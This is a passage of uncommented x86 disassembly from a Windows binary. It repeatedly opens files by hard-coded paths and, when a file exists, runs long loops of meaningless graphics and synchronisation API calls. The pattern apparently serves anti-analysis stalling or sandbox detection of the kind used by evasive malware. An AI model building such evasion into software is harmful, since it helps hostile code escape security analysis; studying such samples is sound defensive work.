je 0x402263
mov dword [ebp - 0x5c], 0
jmp 0x4021dc
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x5c], 0x186a0
jge 0x402263
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x402228
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403224
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x40225e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4021d3
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403230
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
je 0x402332
mov dword [ebp - 0x60], 0
jmp 0x4022ab
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x186a0
jge 0x402332
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x4022f7
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40323c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x40232d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4022a2
jmp 0x401d40
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403248
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
je 0x4023fd
mov dword [ebp - 0x64], 0
jmp 0x402376
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x186a0
jge 0x4023fd
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x4023c2
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403254
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x4023f8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40236d
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403260
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
je 0x4024c3
mov dword [ebp - 0x68], 0
jmp 0x40243c
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
cmp dword [ebp - 0x68], 0x186a0
jge 0x4024c3
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x402488
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40326c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x4024be
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x402433
jmp 0x4024ca
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403278
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffff
je 0x402590
mov dword [ebp - 0x6c], 0
jmp 0x402509
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x186a0
jge 0x402590
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x402555
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x403284
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x40258b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x402500
cmp dword [ebp - 0xc], 0
je 0x402730
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x403290
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
je 0x402660
mov dword [ebp - 0x70], 0
jmp 0x4025d9
mov ecx, dword [ebp - 0x70]
add ecx, 1
mov dword [ebp - 0x70], ecx
cmp dword [ebp - 0x70], 0x186a0
jge 0x402660
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x402625
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x40329c
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x40265b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4025d0
xor eax, eax
mov eax, dword [ebp - 0x9c]
jmp eax
jmp 0x4027fb
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4032c0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xffffffff
je 0x4027fb
mov dword [ebp - 0x78], 0
jmp 0x402774
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x186a0
jge 0x4027fb
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x4027c0
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4032cc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x4027f6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x40276b
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x4032d8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
je 0x4028c1
mov dword [ebp - 0x7c], 0
jmp 0x40283a
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
cmp dword [ebp - 0x7c], 0x186a0
jge 0x4028c1
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
test eax, eax
je 0x402886
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x4032e4
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or eax, eax
je 0x4028bc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x402831
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push str.VDCUUBDb
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x402987
mov dword [ebp - 0x80], 0
jmp 0x402900
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0x186a0
jge 0x402987
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
or eax, eax
je 0x40294c
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push str.ddcdvcsv
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x402982
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
jmp 0x4028f7
push ebp
pop esp
pop ebp
ret